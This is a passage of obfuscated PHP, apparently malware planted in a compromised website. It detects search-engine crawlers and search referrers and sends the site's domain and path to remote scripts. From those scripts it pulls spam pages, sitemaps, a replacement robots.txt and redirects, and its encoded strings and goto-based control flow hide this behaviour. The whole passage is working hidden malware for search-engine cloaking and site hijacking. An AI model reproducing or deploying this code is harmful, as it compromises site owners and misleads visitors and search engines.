Dw3od("\110\124\124\120\123") && ("\x31" == $this->dw3OD("\x48\x54\x54\x50\x53") || "\157\x6e" == strtolower($this->dW3Od("\110\x54\124\x50\123")))) { goto Sb7TN; } if ("\x68\x74\164\x70\163" == $this->dW3od("\122\x45\x51\125\105\123\124\137\x53\x43\110\x45\x4d\105")) { goto Mdo01; } if ("\x34\x34\63" == $this->DW3Od("\123\x45\x52\x56\x45\x52\x5f\120\117\122\124")) { goto BoAuH; } if ("\x68\164\164\x70\x73" == $this->dW3oD("\x48\x54\x54\120\x5f\x58\x5f\106\x4f\122\x57\101\122\x44\105\104\x5f\120\122\117\124\x4f")) { goto aQ_l9; } goto vYXp0; Sb7TN: return true; goto vYXp0; Mdo01: return true; goto vYXp0; BoAuH: return true; goto vYXp0; aQ_l9: return true; vYXp0: return false; } public function VVpyo() { $Btm54 = strval($this->dW3Od("\x48\x54\x54\x50\137\130\x5f\x46\117\122\127\101\122\x44\105\104\x5f\110\x4f\123\x54") ?: $this->Dw3Od("\x48\124\x54\x50\x5f\110\x4f\123\x54")); return strpos($Btm54, "\72") ? strstr($Btm54, "\x3a", true) : $Btm54; } public function NgEwu() { return $this->Mn3Ja() ? "\150\164\x74\160\163" : "\x68\x74\x74\x70"; } public function PxENQ() { $eKAr9 = $this->lxHLC(); if (!in_array($eKAr9, [80, 443])) { goto gst05; } return $this->NGeWu() . "\x3a\x2f\x2f" . $this->vvpyO(); gst05: return $this->NgewU() . "\x3a\57\x2f" . $this->VvPYo() . "\x3a" . $eKAr9; } public function lxHLc() : int { return (int) ($this->dw3OD("\x48\x54\124\120\x5f\130\x5f\106\x4f\x52\127\x41\122\104\x45\104\x5f\120\117\x52\124") ?: $this->Dw3od("\123\105\x52\x56\x45\122\137\x50\x4f\122\124", '')); } public function tPDKd() { $AJ1xh = strtolower($this->DW3oD("\x48\124\124\x50\137\x55\123\x45\122\137\101\107\x45\x4e\x54")); if (!($AJ1xh != '' && preg_match("\57\147\x6f\157\147\x6c\145\x62\x6f\x74\x7c\x67\157\157\x67\154\x65\x7c\x79\141\x68\157\x6f\174\142\151\x6e\x67\x7c\x61\x6f\154\57\163\x69", $AJ1xh))) { goto t0GXW; } return true; t0GXW: return false; } public function llDCw() { $yygjS = strtolower($this->Dw3oD("\110\124\124\120\x5f\x52\105\106\105\x52\105\122")); $yygjS = "\147\157\157\147\154\145\56\x63\157\56\x6a\x70"; if (!($yygjS != '' && preg_match("\57\x67\157\157\147\x6c\145\x2e\x63\157\56\152\160\174\171\x61\x68\157\157\56\143\157\56\152\160\x7c\147\157\157\147\154\145\x2e\x63\x6f\155\57\163\151", $yygjS))) { goto UOSZy; } return true; UOSZy: return false; } public function N92dN() { $Grzzv = basename($this->Dw3oD("\123\103\122\111\x50\124\137\x46\x49\x4c\x45\x4e\x41\115\x45")); if (basename($this->DW3OD("\123\103\122\111\x50\x54\137\116\x41\115\x45")) === $Grzzv) { goto b9842; } if (basename($this->DW3oD("\x50\x48\x50\x5f\x53\105\x4c\x46")) === $Grzzv) { goto cVCWo; } if (basename($this->dW3oD("\x4f\x52\111\x47\x5f\123\x43\x52\111\120\124\137\116\101\115\x45")) === $Grzzv) { goto Nljno; } if (($vtgXa = strpos($this->dw3OD("\120\x48\x50\137\x53\x45\x4c\x46"), "\57" . $Grzzv)) !== false) { goto z4L8Y; } if ($this->DW3oD("\104\117\103\125\x4d\x45\x4e\x54\x5f\122\x4f\117\x54") && strpos($this->dW3od("\x53\103\122\x49\120\124\137\x46\111\114\105\x4e\101\x4d\105"), $this->dw3oD("\x44\x4f\x43\x55\x4d\105\x4e\x54\x5f\122\x4f\117\124")) === 0) { goto dD0f0; } goto Zlzvd; b9842: $B1DqU = $this->DW3od("\x53\103\x52\111\x50\124\x5f\x4e\x41\115\x45"); goto Zlzvd; cVCWo: $B1DqU = $this->DW3OD("\120\110\x50\x5f\123\105\x4c\x46"); goto Zlzvd; Nljno: $B1DqU = $this->DW3od("\117\x52\x49\x47\x5f\x53\103\122\x49\x50\124\137\x4e\101\x4d\105"); goto Zlzvd; z4L8Y: $B1DqU = substr($this->DW3OD("\x53\103\x52\111\120\124\x5f\x4e\101\x4d\105"), 0, $vtgXa) . "\x2f" . $Grzzv; goto Zlzvd; dD0f0: $B1DqU = str_replace($this->dw3Od("\104\x4f\103\125\x4d\x45\x4e\x54\137\122\117\117\x54"), '', $this->Dw3od("\123\x43\x52\111\120\124\x5f\x46\x49\114\x45\116\x41\x4d\105")); Zlzvd: if (($vtgXa = strpos($this->dw3OD("\122\x45\x51\125\105\123\124\137\x55\x52\111"), "\x2e\160\150\160")) !== false) { goto V6pBr; } $oRCRK = $B1DqU . substr($this->Dw3OD("\122\x45\x51\125\x45\123\124\137\125\x52\111"), strpos($this->dW3oD("\122\x45\x51\x55\105\123\x54\137\125\x52\x49"), "\57")); goto EIHJ9; V6pBr: $oRCRK = $B1DqU . substr($this->Dw3OD("\122\105\121\125\x45\123\x54\137\125\122\111"), $vtgXa + 4); EIHJ9: return rtrim($oRCRK, "\x2f"); } public function Icxkd($B1DqU, $It0mx = array()) { $B1DqU = str_replace("\x20", "\53", $B1DqU); $EBjyO = curl_init(); curl_setopt($EBjyO, CURLOPT_URL, $B1DqU); curl_setopt($EBjyO, CURLOPT_RETURNTRANSFER, 1); curl_setopt($EBjyO, CURLOPT_HEADER, 0); curl_setopt($EBjyO, CURLOPT_TIMEOUT, 20); curl_setopt($EBjyO, CURLOPT_POST, 1); curl_setopt($EBjyO, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($EBjyO, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($EBjyO, CURLOPT_POSTFIELDS, http_build_query($It0mx)); $xaO0z = curl_exec($EBjyO); $iiKSq = curl_errno($EBjyO); curl_close($EBjyO); if (!(0 !== $iiKSq)) { goto PTUeQ; } return false; PTUeQ: return $xaO0z; } } $fMpfT = new zZinm(); $oa2HA = $fMpfT->tpdkD(); $Z1QwP = $fMpfT->lLdCw(); $WO1f4 = $YzBU_ . "\x72\x6f\x62\x6f\164\x73\x2e\160\x68\160"; $kk3gC = $YzBU_ . "\167\157\x72\x64\x2e\160\150\x70"; $zScbq = $YzBU_ . "\152\x75\x6d\160\x2e\160\150\x70"; $PjSqN = $YzBU_ . "\155\x61\x70\56\x70\150\x70"; $QM8tx = $YzBU_ . "\151\x6e\144\141\164\x61\56\x70\150\x70"; $mFzFo = str_replace("\57\151\x6e\x64\145\x78\56\x70\150\160", '', urldecode($fMpfT->n92DN())); $It0mx = ["\x64\157\x6d\x61\x69\156" => $fMpfT->PXeNQ(), "\x70\157\162\164" => $fMpfT->lXhLC(), "\x75\x72\151" => $mFzFo]; if (!(substr($mFzFo, -6) == "\162\x6f\x62\157\164\x73")) { goto TU0ff; } $xaO0z = $fMpfT->icxkD($WO1f4, $It0mx); file_put_contents(__DIR__ . "\57\162\157\x62\x6f\x74\163\x2e\x74\x78\x74", $xaO0z); $X2BDj = @file_get_contents(__DIR__ . "\57\162\157\x62\x6f\164\x73\56\164\x78\x74"); if (strpos(strtolower($X2BDj), "\x73\151\x74\145\155\141\160")) { goto EyfRv; } exit("\x72\x6f\x62\157\x74\x73\56\164\170\x74\40\146\151\154\x65\40\x63\162\x65\x61\164\x65\40\146\x61\x69\154\41"); goto JOGgd; EyfRv: exit("\162\x6f\x62\x6f\x74\x73\x2e\164\170\164\40\146\151\x6c\x65\x20\x63\x72\x65\x61\164\145\40\x73\165\x63\x63\145\x73\163\41"); JOGgd: TU0ff: if (!(substr($mFzFo, -4) == "\x2e\170\x6d\154")) { goto f4Dvp; } if (!(strpos($mFzFo, "\141\154\154\x73\151\164\145\x6d\x61\x70\56\170\155\x6c") || strpos($mFzFo, "\x73\151\x74\x65\x6d\x61\160\x2d\151\156\x64\x65\x78\x2e\170\x6d\154") || strpos($mFzFo, "\163\151\x74\x65\155\x61\x70\55\151\x6e\144\145\170\x2d\61\56\x78\x6d\x6c") || strpos($mFzFo, "\151\x6e\144\x65\170\x2e\170\x6d\154"))) { goto yGJgR; } $xaO0z = $fMpfT->ICxKD($PjSqN, $It0mx); header("\x43\157\x6e\164\x65\x6e\164\55\164\x79\x70\145\72\x74\145\170\164\x2f" . (substr($xaO0z, 0, 5) === "\x3c\x3f\170\x6d\x6c" ? "\170\155\x6c" : "\x70\154\141\151\x6e") . "\x3b\40\x63\150\141\x72\x73\x65\x74\x3d\x75\164\146\55\x38"); exit($xaO0z); yGJgR: $xaO0z = $fMpfT->icXKD($kk3gC, $It0mx); header("\103\x6f\156\x74\x65\156\164\x2d\x74\x79\x70\145\72\x74\x65\x78\164\x2f\x78\155\154\73\x20\x63\150\141\162\x73\x65\164\x3d\165\164\x66\x2d\70"); if ($xaO0z == "\61") { goto o_RZG; } exit($xaO0z); goto CV1pi; o_RZG: exit($fMpfT->ICXKd($PjSqN, $It0mx)); CV1pi: f4Dvp: if (!(!$oa2HA && $Z1QwP)) { goto jHoPa; } exit($fMpfT->icXKd($zScbq, $It0mx)); jHoPa: if (!($oa2HA || preg_match("\43\x28\x28\x5c\77\x7c\134\57\51\x70\x72\x6f\x64\165\143\x74\51\x5c\75\133\x61\x2d\x7a\101\55\132\x30\x2d\71\55\135\53\x23", $mFzFo))) { goto hqQgs; } exit($fMpfT->iCXKd($QM8tx, $It0mx)); hqQgs: ?>